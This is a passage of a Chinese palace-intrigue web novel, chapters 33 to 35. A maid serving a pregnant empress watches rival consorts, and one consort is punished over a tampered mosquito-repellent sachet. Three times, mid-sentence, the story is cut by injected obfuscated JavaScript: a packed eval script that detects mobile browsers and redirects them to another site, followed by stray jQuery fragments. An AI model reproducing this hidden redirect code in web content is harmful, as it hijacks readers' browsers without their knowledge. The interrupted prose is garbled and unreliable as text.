萱草后知后觉忧心道:“好像是的,我刚刚怎么没发现呢?皇后有孕虽喜,但实在是辛苦了。” “对!娘娘有孕,想必对一些杂事的耐性降低,我们不如以后禀报精简些,少劳娘娘费神。” 沈青钻到萱草身前:“如何呢?” 既然萱草分辨不出皇后态度,不如就少说,若后来皇后对萱草的态度再有变化,她就如法炮制,打着为皇后好的旗号,让萱草紧跟着改变。 山不来就我,我便来就山。 皇后无法改变,那就让萱草体贴些。 萱草格外认同:“娘娘总觉得困乏,想是觉没睡够,我们实在不该烦娘娘。” 沈青瞬间笑起来,眉头舒展。她自是极不愿意萱草被皇后疏远的,萱草能这样行事最好。 不过在心中,沈青冷酷且傲娇回应萱草,不,只有你。 33. 第 33 章 新妃入宫第二天按照惯例需要去向皇后请安,皇后在嫔妃来给她请安这天穿了一件宽松的凤袍,头戴一对凤钗,脸上只化了一个淡妆。 卯时中,晨曦破晓,请安的嫔妃已经来了七七八八,皇后这才出现,落座到最上的宝座。 嫔妃站起来,给皇后行礼,室内的目光均落到了皇后身上。 皇后似乎没有察觉,神情如常,唇边含笑,雍容娴雅。 当了半年的皇后,也给她身上镀了一层威严感,养出了皇室般尊贵气度。 新妃因为是第一次请安,或多或少都有些紧张,有些人眼下还泛着淡淡青色,想来是没睡好,目光看过皇后之后便没乱瞟。宫里的老人则在皇后腹部一扫而过,这才关注起新人。 玉嫔的目光落到嫣美人身上,这样一个尤物,很难不让她生出防范之心。 兰婕妤目视前方,对这一室美人视若无睹,她冰冷的态度无形中将她和其他妃嫔隔阂开。 有心的嫔妃则看向室内属于德妃的位置,正空着,偏偏落在皇后下首,皇后想不注意都难。 郑才人不解,便小声问请安时与她同路的周才人,周才人是三年前进宫的嫔妃,对宫中十分了解。 周才人亦有心和新妃搭上话,便道:“那是德妃娘娘的位置,听说身子不适,已经许久没来坤宁宫请安了。你瞧,德妃的位置上都落灰了。” 椅子落灰是周才人的形象比喻,坤宁宫的宫人又不是不干活,怎么可能放任灰尘不管。 郑才人的眼睛快速眨了眨:“原来如此。” 看起来,德妃的气焰比皇后还要嚣张,人家不情愿就可以不来请安,至于身子不适,那都是糊弄人的话。 不然她在储秀宫和李美人相交时,怎么没听到李美人担忧此事?李美人是德妃堂妹,又与德妃同住一宫,关系如此亲近,没道理她会不知道德妃的身体状况。 郑才人的目光往周围逡巡了一圈,李美人好似也没来请安。 意识到这,她微微张大了嘴巴,如果都这样了,皇后还不收拾德妃——即便收拾不了,还有李美人这个软柿子啊。那么皇后在宫中的地位真要让人浮想联翩了。 皇后坐在最上首,自然看清了全貌,李美人没有到,却是在她的意料之外。 【也罢,今日的目的是把后宫的水搅浑,挑起后妃争宠的心,让她们不要把目光放到本宫肚子上。】 【德妃和李美人现下不要紧,待腾出手来,德妃有李美人这个软肋,也不足为惧。】 宫人开始给妃嫔们上茶,沈青选了个不引人注意的位置站在那儿,恰好可以将郑才人和何才人的神态动作收入眼底。 两人一进坤宁宫,属于她们的考校就开始了,谁更值得培养更值得倾注资源,就看今日了。 皇后启唇,开始勉励新妃,不外乎夸她们年轻貌美,皇上正喜好这般的女子,希望她们给后宫带来新气象。当然,她也不忘宫内的老人,让她们加把劲儿,更以高位嫔妃空位多诱之。 一番话下来,众嫔妃都心热起来,一改浅笑模样。 皇后见状,满意微笑,看向宣贵人和楚贵人:“你们二人是新妃中位份最高的,皇上也都记得你们,如此,合该给新妃起个榜样作用,好好侍奉皇上,给皇上开枝散叶。” 宣贵人和楚贵人站起来行礼称是。 众嫔妃的目光微妙落到她们身上。 沈青听到郑才人切了一声,小声嘟囔:“一步领先又不意味着步步领先。”但到底已经对两名贵人幽怨上了几分。 沈青抿了抿唇,领会到皇后这是要四处点火,将新妃们高高捧起,以此来保腹中皇嗣的安全。 果然,只听皇后下一句便指向了嫣美人。 “嫣美人的容貌果然绝色,这满宫的嫔妃怕是少有人比得上你,怪不得皇上在殿选时见过后对你念念不忘。” 嫣美人感受到含着微妙恶意的目光落到她脸上,不由一僵,不卑不亢道:“皇后谬赞了。” 沈青的眼睛有些黯淡。 这下面坐的嫔妃又不是傻子,总有那么一两个人琢磨出皇后的用意,即便想不到,被这么一捧杀,也会觉出不对,后面怕是会对皇后生出忌惮。 久而久之,只会落入孤立无援的境地。 皇后此时的话由已经落到陈美人身上,陈美人和兰婕妤有些相似,不过一个幽一个冷。 有兰婕妤的恩宠不断在前,陈美人的前程也不会差。 于是皇后就打趣陈美人和兰婕妤,让众人潜意识将她们放在一起。 陈美人早就注意到了兰婕妤,听到皇后的话冲兰婕妤略略颔首,却得到兰婕妤的无视。 皇后调和道:“兰婕妤的脾气向来如此,陈美人不必在意。” 陈美人露出些伤怀:“嫔妾原本以为兰婕妤不喜欢嫔妾,现下听到兰婕妤待谁都如此,不禁为嫔妾方才狭隘的心胸感到愧疚。” 她的声音有一种恰达好处的婉转,这样看来,却又与兰婕妤有些不同了。 在宫中,有自己的特色方能走得更远。 兰婕妤面无表情看向陈美人,她不笑时便显得凶了。 陈美人佯装惊到:“兰婕妤这般看嫔妾,倒像是要吃了嫔妾似的。” 新妃见陈美人的模样毫不意外,她的阴阳怪气仿佛天生一般,半点不憋着自己,且因气质如兰,把人阴阳到说不出话时得意的模样丝毫不显得恶毒。 皇后开口,偏颇陈美人道:“好了,兰婕妤,在宫中大家都是姐妹,陈美人刚入宫,你该让着她才对。” 一句话没说被一唱一和压制的兰婕妤感到很憋闷,于是冷笑一声:“陈美人这般巧舌如簧,家中莫不是玩儿杂耍的?” 区区一美人,居然都要踩到她头上了,当真可恶! 陈美人被质疑家学,不怒反疑道:“兰姐姐没将皇后的话听进耳吗?在坤宁宫都如此无视,那出了坤宁宫……” 何才人在心底默默补上:就更不把皇后放在眼里了。 众人被陈美人的无所畏惧惊得目瞪口呆,兰婕妤更是皱起眉:“皇后,嫔妾无此意,实在是陈美人欺人太甚。” 皇后加重语气:“好了!” 陈美人敛目,仿佛方才的争端不似她挑起的。 徒留兰婕妤的胸膛重重起伏,手更是抓到了桌子边角,才勉强将怒意往肚子里咽。 欺人太甚啊! 她陈美人家世本就低微,又是家中庶出,卑贱到了泥里,不过因为长得好才幸运入宫,若放在宫外,陈家都不配给她提鞋。 兰婕妤许久没受过如此委屈了,高家虽在后宫嫔妃的家族中不甚拔尖,可也是有个侍郎存在的,而陈美人的陈家,不过是个耕读人家,脚上还沾着泥点子,她的父亲,亦不过是个九品小官,连高官的门都登不上。 如今倒出了这么一个宫妃,不说巴结比她品级高的嫔妃吧,好歹别顶撞啊。 兰婕妤沉气于心中,决定这个月给家中去信时授意父亲母亲给陈家挖坑。她拿捏不了陈美人,还收拾不了陈家吗? 沈青眼睁睁看着何才人对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314970|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈美人流露出敬佩的眼神,便明白何才人的雄心壮志。 不由莞尔,已经预想到宫中会有的鸡飞狗跳。 如果皇后想搅混水,选何才人再适合不过了。 不过若其他人想要效仿陈美人这般行事,宫中妃嫔也不是吃素的,一个顶撞高位嫔妃的帽子扣下去,喊冤都喊不了。 陈美人好似只想惹怒一下兰婕妤,之后便安静下来。 皇后的颜面被如此作筏子,自然不高兴,唇边的笑容隐去,呵斥了一番陈美人和兰婕妤。 不过经此一事,嫔妃便也不把陈美人和兰婕妤放在一起了,虽然她们气质相仿,但举止上却相差甚远。 此时,有太监传唤道:“德妃娘娘,李美人到——” 德妃携李美人进入坤宁宫,朝皇后草草行了一礼,抬头道:“臣妾来迟了。” 还不等皇后说免礼,便坐到了位置上。 【狗脾气。】 李美人跟在德妃身侧,一身水蓝色宫装,并未夺了德妃的风头,她则是朝皇后请罪道:“嫔妾今早起的晚了,这才连累德妃娘娘陪嫔妾晚到,嫔妾有罪,请皇后娘娘责罚。” 【李美人倒替德妃周全。】 以皇后宽宥的形象,自然不会责罚李美人,让她请起入座后便没为难她。 而沈青盯梢着郑才人和何才人,眼见着郑才人见到德妃眼前一亮,对李美人流露出羡慕的情绪,便知道她想差了。 郑才人或许是以为,皇后不敢得罪德妃,德妃势大,才不将皇后放在眼里,跟着德妃的李美人也因此得皇后宽待,所以跟着德妃比跟着皇后更有前途。 然而,皇后和德妃不和是因为宿怨,德妃不是皇后自然可以破罐子破摔,但皇后怀有孩子,需要暂时避开德妃,不想不计代价和德妃对上。 若只因为德妃请安来迟就罚德妃,那不是把德妃推向贤妃和太后阵营吗? 如今她们皇后、德妃、贤妃三足并立的局势就很好,相互牵扯,相互防范。 今日德妃亦可以像往常一样不来请安,但不情不愿来了,可见李美人在其中的作用,李美人对德妃重要,那皇后就不会轻举妄动,逼急了德妃。 况且李美人姿态摆的好,何苦罚人家。 请安时间过后,众人离去,沈青目送着郑才人头也不回离开,生怕和坤宁宫牵扯上什么,觉得好笑,便去将此事禀报给了皇后。 皇后卸去钗环,不在意这个墙头草,毕竟她也没投入什么。 “你觉得何才人如何?” 沈青斟酌道:“何才人的野心不小。” 皇后:“那就她了,容貌虽不是皇上喜欢的,但妆发可以往那方面打扮。” 皇上已经有了喜好模板,譬如冷宫里的杜氏,譬如宁嫔,譬如楚贵人,都是清丽明艳的,至于性格则不做要求。 而被皇上赐封号的嫣美人,幺幺绕绕,是个男人都喜欢吧。 皇后的目光落到沈青身上,由于人一直在自己眼皮子底下,又一直本分打扮,长久下来只下意识觉得美。此时只略看一眼,才发现沈青不知何时已生得一身雪肤,明眸流盼间让人不自觉入神,腰肢纤细似乎盈盈一握,胸脯也鼓了起来。 脸庞流畅,五官尚未完全长开,便已形成独具特色的细腻柔情,娇柔妩媚。 但因为沈青时刻垂着眸子,但种娇柔感便少了几分。 可惜,不是皇上喜欢的类型。 皇后失神想到,不免有些遗憾。 沈青纤长浓密的睫毛轻颤,心中打鼓。 34. 第 34 章 对于这个皇后,沈青已经有点看不明白了。 若她的模样是皇上喜欢的,皇后就可以毫不留恋将她送走吗?明明最初她到皇后身边,皇后是关心爱护着每一个宫人的。 短短几个月,竟叫沈青感到物是人非的荒谬。 或许早在小柱子“畏罪自杀”时,皇后便已适应环境在慢慢变化,只是那时她还尚未觉察出。 权利腐蚀人心,即便皇后的面孔依旧,唇边的弧度与往日一般无二,也叫人觉得生变。 视线渐渐模糊,皇后的心声仍在耳边回想,沈青的眼瞳失焦。 及至皇后抚摸着肚子,露出慈爱模样,她才如梦初醒般回神。 沈青往皇后身边走了几步:“小皇子可真乖,一点都没闹腾娘娘。” 皇后孕三个月的反应确实少,除了贪睡,几乎没其他症状。 皇后的笑容真诚了不少:“是个好孩子,知道母后辛苦,不让母后作难。本宫只希望这个皇儿日后能平平安安,无忧无虑。” 现在说让他做太子还为时尚早,若这孩子天赋绝佳,跟他父皇一般,一切都会手到擒来,若这孩子太过平庸,争到最后无非头破血流,这是皇后所不愿看到的。 沈青明白皇后对未出世的皇子仍有一片慈母之心,也露出了微笑。 其实想想心声这东西会把人的阴暗面暴露无余,但从皇后对萱草的行为上来看,皇后是心口不一的,或许她有最坏的想法,但实际做出来的却与心中想的大相径庭。 皇后是一国之母,担负着母仪天下的责任,就注定她会表现出善良正义的一面。 如此,她又怎么能苛责皇后,要皇后满足她的期望呢? 若皇后的心声让自己不舒服,其实现在还有一个极好的去处。 沈青的目光温柔地看向皇后的肚子,那里孕育着一个新的生命,如果听谁的心声不是听,她可能更喜欢听小皇子的心声。 皇子身边不能没有自己人,皇子出生后皇后必会将身边一名信任的大宫女调到皇子身边去,照顾皇子的起居。 沈青的目标逐渐清晰,目光也坚定起来。 从殿内退出来,沈青便亲自去了何才人的宁辉苑一趟,告诉她皇上的喜好,让她看着办。 皇后自会向皇上推荐何才人,但这件事得缓缓,等皇后找个合适的时机。 何才人虽然表现地很拘谨,但她其实非常聪明,听懂了沈青的暗示,并留沈青喝了茶,说是弥补昨日没有留茶的遗憾。 沈青没有坐下,站着饮了一口便将茶盏放下:“皇后看重才人,也希望才人能抓住机会。” 何才人捏着手帕:“嫔妾不会辜负皇后的美意。” 沈青闻言便知何才人心中有数。 此事妥了,她不再久留,并推辞了何才人让她的宫人相送她一段路程。 回到坤宁宫宫女住处,沈青坐在铜镜前仔细端详了番她的模样,确实变得有韵味了。 她的母亲是个大美女,父亲又是坊间有名的美男子,她长得好看实在太正常了,原本她的五官虽好看,但尚且稚嫩,只会让人觉得这姑娘长的真好。 但现下,不知道是不是长开的缘故,双眸似水顾盼生辉,仿佛眼中藏着小勾子一般。 更别说脸上白到莹润生光,两腮带粉,配以乌发垂垂,安静下来,当真是非常柔美。 沈青鼓了鼓嘴,铜镜中的美人便活了起来,灵动俏皮,可爱极了。 怪不得皇后那般评价她,大概是因为她在皇后身边面部表情很克制,所以皇后觉得她娇柔,但在萱草面前,她又喜好撒娇,萱草便觉得她很可爱,经常抱抱贴贴。 长得美实在是件令人开心的事,既是上天馈赠,沈青就没有什么好抱怨的,反正皇上不喜欢这般相貌,她便是美若天仙也不会对她下手,那皇后就不会将她送走。 离开皇后沈青是不愿的,当初皇后将她捡回来,哪有说送走就送走的,她是人又不是物件,她私以为,她和皇后是有些情分在的,她对皇后可能还掺杂着点被救赎的依恋。 所以一次又一次将皇后的行为合理化。 沈青还要当她的坤宁宫大宫女,皇子出生她便请命到皇子身边。 入宫前,她与几个弟妹相处过,还是有些面对小孩子的经验。 而皇后的想法似乎只在那天一闪而过,此后再没琢磨那事,这让沈青放心了下来。 那日请安后,坤宁宫便关注着后宫的动向。 新妃入宫,皇上因为朝政繁忙,一连数日都没有翻牌子,直到起了兴致,第一晚也是宿在了晴芳居玉嫔处。 第二日请安时,玉嫔遭受到了嫔妃的目光洗礼。 玉嫔的宿敌兰婕妤没冷声冷气说些让人不高兴的话,大概是因为被陈美人阴阳怕了。 陈美人多数时候都是安安静静的,只有遇到兰婕妤才会化身阴阳怪,不,或许还有宣贵人。 陈美人在储秀宫的行事已经被众人翻了出来,她当初的几次出声阴阳,都是冲着宣贵人去的。现在发现了兰婕妤,便将宣贵人抛之脑后了。 众嫔妃不明白陈美人在干什么,但咬不到自己身上,她们乐意看热闹。 看平日冷若冰霜的兰婕妤吃瘪。 而兰婕妤就更不明白了,她已经着人教训过陈家并威胁了陈美人,哪知陈美人听到后露出似笑非笑的样子,更起劲儿了,简直匪夷所思。 兰婕妤不在请安时说些看不惯玉嫔的话,玉嫔便更如鱼得水了,任谁都看得出她眉间的乏累春意。 嫔妃拧着手帕,对玉嫔是又嫉又妒。 玉嫔承宠似是皇上来后宫的前兆,之后新妃中楚贵人、嫣美人便被翻了牌子。 嫣美人承宠第二日,皇上便晋了嫣美人为贵人,赏赐如流水般进入降萼轩,皇后听闻,也给嫣贵人送了赏赐。 昨日还让人羡慕得了皇上赏赐的楚贵人,今日一对比嫣贵人又是升位份,又是赏赐的态度,就让人倍感心酸了。 沈青听到消息的时候,才明白过来皇上那日为什么要说新妃中贵人名额太多,将人家改成了美人,合着是玩儿这一套啊。 心真脏! 抠门! 再之后,嫣贵人连着承宠两日,皇上宿在乾清宫几日,在这期间,也来找皇后用过膳,用膳后的第二日,皇上便翻了何才人的绿头牌。 一时之间,不起眼的何才人映入众人眼帘。 高位嫔妃消息灵通,知道些什么,深知其情况的郑才人则要将帕子撕烂了,她这几日登门拜访德妃,都被德妃不咸不淡拦了回来。 等到在御花园遇见楚贵人与李美人相伴赏花,郑才人这才明白,以她的姿容,做个棋子德妃都嫌不顺手。 这时她再想转向皇后,皇后也必不可能收她了。 之后陆陆续续有嫔妃受宠,但最受宠的还要属嫣贵人和楚贵人,连玉嫔都差她俩一筹,再之后便是兰婕妤陈美人和何才人之流。 玉嫔一个嫔被两个贵人压了,心里很不如意,便牟足了劲儿争宠固宠。 恰好皇上进后宫是四五月,御花园的花都开了,大家逛御花园,摩擦便必不可少,后宫吵吵闹闹,连请安时都热闹起来了。 六月的时候,皇后的肚子明显隆起,便做主将每日请安改成五日一次。 嫔妃欢喜之余,有些人感叹着皇后的谨慎。 嫣贵人如日中天,却因住在景阳宫,虽皇后免了请安,但她每日也需向主位惠贵嫔请安。 这日,嫣贵人带着星罗给惠贵嫔请安完毕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323822|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回降萼轩的路上察觉身上的玉佩掉了,因是圣上御赐之物,当下就折回去寻找,等走到惠贵嫔殿外,便听见里面的人低声说着些什么狐媚子,不安分,勾引之类的。 虽未点名道姓,可任谁都知道说的是她嫣贵人。 星罗担忧地看了眼自家姑娘,若非身份受限,她真想进去撕了贱人的嘴,让她胡咧咧。 嫣贵人神色淡淡,也不再寻玉佩了,带着星罗回到降萼轩。 她躺到床上休息了一会儿,才低声道:“若是母亲知道惠贵嫔的品行,定不会怪女儿。” 她入宫后没受过惠贵嫔丁点帮扶,有时还被惠贵嫔将皇上截去。 能入宫的都不丑,惠贵嫔打扮一下,还是能惊艳人的。 因为母亲那边的关系,嫣贵人有些时候还得善解人意劝皇上过去。 降萼轩住着不舒服,同样以美人的位份入宫,还没有封号的陈美人,住的绮梦阁,都比她这里好很多。 嫣贵人让星罗进来,吩咐了她几句。 没几天,嫣贵人被蚊虫叮咬的满身是包的消息传了出来,皇上为她传了御医,嫣贵人也向皇后告了假。 皇后现在不大喜欢掺和后宫的事,她肚子渐大,行动不便,于是便派沈青去查看嫣美人的情况。 沈青到降萼轩时,嫣美人正蒙在被子里哭得梨花带雨,不让皇上看她的脸。 降萼轩中,站着惠贵嫔与同宫的兰婕妤,包括她们的贴身宫人,屋内,狭小到没有落脚的地方。 跟在皇上身边的是钱全忠,此时他的徒弟正在降萼轩外面问话。 降萼轩中,星罗也哭哭啼啼将事情道来。 原来是降萼轩边栽种有绿植,夏天一到,枝叶茂盛,便会吸引蚊虫。嫣贵人想要让人将这些绿植挪走,但被惠贵嫔的人拦了下来,说惠贵嫔喜爱这种草,不能挪,若蚊子多,便戴上驱蚊的香囊,忍一忍又如何。 星罗愤慨地将惠贵嫔身边宫人说话的语气模仿出来。 惠贵嫔脸色一黑。 星罗便紧接着说嫣贵人带了惠贵嫔相赠的香囊,便遭了蚊虫叮咬,脸上被盯了两个包,胳膊上手上也有五六个。 嫣贵人从被子中露出一双被泪水洗过的眼睛:“本没什么大事,过几天痕迹消了便好,宫人不懂事,将皇上请来了。” 沈青看出来嫣贵人没什么事,这一出完全是夸大其实,仗着恩宠玩儿的一个小把戏,并点出对住处的不满意和惠贵嫔的苛待。 果然,嫣贵人将脸庞露出来,就脸颊上有两个粉红的包,皇上查看她的胳膊,但见白皙的臂膀上错落着扎眼的红包。 对于绝色美人来说,这点瑕疵确实值得小题大做一番。 惠贵嫔对嫣贵人翻着白眼。 嫣贵人顿时一抖,纪宸顺着她的目光看去,惠贵嫔仓惶收了神情,但殿内众人仍是能感受到皇上的不悦。 纪宸见到惠贵嫔身后的沈青:“皇后的人来了,怎么不通禀一声?” 沈青不卑不亢道:“奴婢参见皇上,奴婢进来时宫人正在回话,不好打搅,请皇上恕罪。” 纪宸:“无罪何需恕。” 纪宸对沈青的印象是性子冷清,细细想来,似乎没见她对自己露过笑,显然是个不喜攀龙附凤的,心中便对她宽容了许多。 实在是个好姑娘。 大抵有些皇帝就喜欢别人对他爱答不理。 纪宸松神,再面对眼前这乌糟糟的一团事心中便不耐起来。 全然忘了嫣贵人住进景阳宫一事他也提前知道,当时便知有这一天,那时他想什么来着? ——若嫣美人被惠贵嫔磋磨了,就可以借此惩处惠贵嫔。 惠贵嫔包庇贤妃的事,他还不曾忘,当时便未卜先知埋了这笔。 35. 第 35 章 嫣贵人忽然呼痒,将众人的注意力重新拉到她身上:“皇上,嫔妾不会破相了吧。” 她捂着脸颊道。 纪宸:“别抓挠,太医已经在为你调配药膏了。” 钱全忠的徒弟钱继从外面走进来,众人都知这是一桩意外,无非惠贵嫔因其行为会受到责罚。 因此纪宸只照例问了一句:“查得如何?” 钱继行礼道:“回禀皇上,与星罗所说的一般无二,但嫣贵人能否将惠贵嫔娘娘送与您的香囊借奴才查看一番?” 惠贵嫔叨咕:“那香囊不过宫中统一发放,有什么可查的?” 但她到底有点心虚,因为宫中发的驱蚊香囊是给宫女的,她没将嫣贵人放在眼里,身边的人亦然,给完不值钱的香囊还把这当成乐子给她说,她听后亦是高兴。 当时有多高兴,惠贵嫔现在就与多懊恼。 嫣贵人和当时受宠的杜婕妤不一样,嫣贵人家世不高,在宫中仰赖的唯有她一人,但杜婕妤就不同了,杜婕妤有宠家世好脾气还冲,住在同一宫惠贵嫔只会当对方不存在。 她对嫣贵人的态度自然就肆意许多,没想到嫣贵人也不是泥捏的。 钱继像是没听到一般看向嫣贵人。 嫣贵人示意星罗将香囊找出来递给钱继。 星罗依言行事。 待香囊被拿出来,钱继还在仔细查看,兰婕妤一眼看出香囊制式不由眼露嘲讽,惠贵嫔真是拿嫣贵人当宫女,她以为如嫣贵人那般的受宠,满宫能有多少人经历过? 只要不作死,位份爬到惠贵嫔上面是迟早的事。 钱继检查完后,脸色一顿:“回皇上,这里面多了一味让伤口长久不好,易生疤的药粉,其余都是具备驱蚊效果的草药。” 嫣贵人和星罗顿时脸色难看,为了显得凄惨些,她们特意捕了蚊子叮咬出明显的包,现在却告诉她,她已经遭人算计了,有破相风险? 她不能接受! 嫣贵人现在完全真情实感了起来。 惠贵嫔呵斥道:“只简单看了一眼如何能断定?况且这香囊臣妾没有经手,里面多的东西也绝非臣妾授意的。” 她后半句话是对皇上说的,说着说着就已经跪了下去。 平日针对受宠嫔妃和给受宠嫔妃下药可不是相同程度的事,后者罪名那可就大了。 钱继回答道:“再拿一个相同香囊对比一下即可。” 沈青闻言,将自己的驱蚊香囊拿了出来:“皇上,钱继公公,奴婢这里有。” 得纪宸默许,她将香囊捧给了钱继。 沈青作为皇后的大宫女,在宫中位同女官,她用的香囊单从外面的刺绣便比普通宫人的精致许多,不过里面东西是一样的,她因为喜欢香囊的味道,便一直携带着。 此番拿出来,不过想戳破惠贵嫔把宫人用的东西给了嫣贵人。 这里恐怕除了皇上都心里有数。 果然,两个香囊放在一起,纪宸的眼神终于变了,他作为皇帝,最恨的大概就是旁人不喜他所喜的,他要宠嫣贵人,惠贵嫔就针对折辱嫣贵人,岂不把自己这个皇帝放在眼里? 钱继将两个香囊中的东西倒进托盘里。 沈青的香囊中就是些艾叶紫苏与其他不知名东西的碎屑,嫣贵人的香囊中,其他的都与沈青的一样,除了附在药材上的白色粉末。 嫣贵人哭过一遍后,当即把矛头对准了惠贵嫔:“自从妹妹入宫以来,自问对惠姐姐毕恭毕敬,即便姐姐要与妹妹抢皇上,妹妹也不敢有丝毫怨言,但贵嫔娘娘缘何要害嫔妾?” “嫔妾只有这张脸能看得过去了,贵嫔娘娘作为主位娘娘,为何不宽容大度些,就非要把嫔妾往死路上逼吗?” 嫣贵人的话说得诛心,兰婕妤却认同点了点头,宫里的女人在没有子嗣前不就活这张脸吗? 脸没了,君恩就淡薄,她们这个皇上最是冷心了,之前多么宠一个人,过一段时间就全然将人抛之脑后了。 杜氏是,玉嫔是,她也是。 如今她都要数着皇上一个月能来她织云殿几次,降萼轩如今热闹,就是不知能维持多久。 惠贵嫔听到后反唇相讥:“嫣贵人在没有证据证明是本宫做的,就不要过早盖棺定论,这罪名太大,本宫可受不起。” 嫣贵人哭哭啼啼去扯纪宸的袖子:“皇上你看她。” 这就是受宠,有皇上做主的好处,而非惠贵嫔那般竭力为自己分辩。 兰婕妤觉得嫣贵人的举动刺眼的很,惠贵嫔何尝不是,这个小贱人。 纪宸则看向钱继。 钱继道:“这香囊确实是惠贵嫔的宫人交给嫣贵人身边的星罗的,当时那一幕兰婕妤殿中的人也见到了。” 能下手的只有惠贵嫔的宫人和嫣贵人身边的星罗。 鉴于嫣贵人是受害者,种种证据迹象都指向惠贵嫔。 惠贵嫔百口莫辩。 最终,纪宸以惠贵嫔对待嫔妃专横的理由,将惠贵嫔将为嫔,褫夺封号,变为林嫔,从景阳宫正殿迁到偏殿中,嫣贵人无辜被害,迁宫到永和宫西偏殿怡和殿中,并从贵人升为婕妤,赏赐若干。 嫣婕妤一跃成为新妃中升位最快位份最高的人,宫妃中除颜贤妃外升位最快的嫔妃。 当初杜氏都没有她这种势头。 颜贤妃则因为太后的关系,两年内升到修仪,三年内升到贤妃。 从降萼轩出来,因坤宁宫和乾清宫距离很近,沈青便随着圣驾一同走。 于是她听到钱全忠问皇上:“今年底下进贡的金创玉髓膏可要给嫣婕妤送些?” 纪宸乘坐着龙辇,叫人看不到他的姿态和表情,但声音很放松:“不必,她身边有太医。另外……在嫣婕妤伤好之前,不要上她的绿头牌。” 然后他必不可免想起去岁的事,于是道:“问问皇后的宫女,她的胳膊好全没。” 钱全忠明白,落后几步到沈青身边。 沈青其实已经听到了,当下便对钱公公露出一个大大的笑容:“奴婢早就好了。” 王定送的金创玉髓膏用完后,胳膊就已经光滑到看不见丝毫痕迹。 龙辇上的黄色账幔从里面看,可以模糊看到外面的情景,见到沈青笑得灿烂,整张脸宛若散发着柔光,为她增色不少,更展现出了她平日藏起来好相貌,轻易就能叫人心生好感。也灵动了许多,对比起见到他时连个微笑都没有,纪宸更确定这姑娘对他没意思了。 钱全忠那张严苛老脸面对她都宽容了许多。 啧。 讨厌的小姑娘,讨好姓钱的太监有什么前途? 纪宸短短一个时辰内,心态变化了两次,或许就如后宫嫔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331972|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃所言,他本就是一个多变的男人。 除了一如既往的喜好。 事实证明,讨好和王积贵同等级的太监可太有前途了,两日后,皇后让沈青去乾清宫给皇上送汤,钱全忠就帮了她大大一个忙。 暑天,嫔妃给皇上送的汤已经变成了冰镇过解热降气的酸梅汤。 因后宫早早便兴起给皇上送汤的缘故,乾清宫面对这么多宫人和喝不完的汤水,门槛也变高起来。 这日,沈青便不巧被德妃身边的宫人枇杷缠住了。 枇杷也是来替德妃送汤的,亦是大宫女的身份,见沈青畅通无阻,当下便不满起来。以德妃的地位,确实有资格和皇后对上。 而面对枇杷,沈青不但不能退缩,还得让看到这一幕的宫人知道皇后永远压在德妃上面。 话语权之争,向来如此。 皇后与德妃对立,她们坤宁宫的宫人就要与永寿宫的人势不两立。 沈青的嘴皮子利索,丝毫不怵,笑意盈盈便将枇杷压的哑口无言,正当她要和带路的乾清宫小太监进去将汤交给皇上身边负责此事的人时,枇杷手一松,佯装双手拿不稳,汤就向沈青的方向泼去。 只是表演的太假了,一眼就能叫人看出她的真实意图。 然而,沈青反应不过来,见汤往自己倾斜过来的那一秒钟,她的脚像被定在了地上一样,大脑一片空白。 她最喜欢的就是这身衣裳了,水蓝水蓝的,穿着似乎夏天就不热了,且还是皇后赏她的好料子做的。 天杀的枇杷! 千钧一发之际,钱继不知从何处出来,腿脚利索便是飞起一脚,将端着酸梅汤的托盘连汤带碗的原路还了回去。 枇杷被淋成落汤鸡,浑身酸酸的。 酸梅汤的气味散发出来,沈青馋了,决定回坤宁宫再喝一碗。 而钱继干完事,拍了拍两只胳膊上的灰尘,冲沈青眨了眨眼,道:“两位姐姐要小心啊。” 幸好他逆转了一场糟糕的意外。 沈青简直要乐死了,枇杷自食恶果,偏偏钱继是御前的人,论资排辈还唤了她们一声姐姐,更没法计较了,于是只能恨恨转身就走。 钱继深藏功与名,回到钱全忠身边,沈青这才发现,钱全忠不知何时站在了那儿,大概目睹了她和枇杷争执的全过程,后来又授意钱继帮她。 钱继谁的话也不听,只听钱全忠和皇上的。 帮她的是谁一目了然。 沈青冲钱全忠盈盈一拜:“多谢钱公公。” 钱全忠道:“快些进来吧,皇上正等着喝皇后送的汤呢。” 这当然是场面话,皇后不是每日送汤,即便送来了,皇上喝的次数也寥寥无几,沈青能次次将汤送达,是皇上在给皇后脸面。 沈青更感激了。 然而进去后,她却罕见地见到了皇上。 一般沈青来乾清宫送汤,目的自然是见王定,皇上进后宫或去皇后那里,少有带王积贵一脉的人,王积贵他们更多时候留守乾清宫。 平常她将汤递给接收的太监,然后趁机扫一圈王定在哪儿,运气好,还能打个正面,说上几句话。 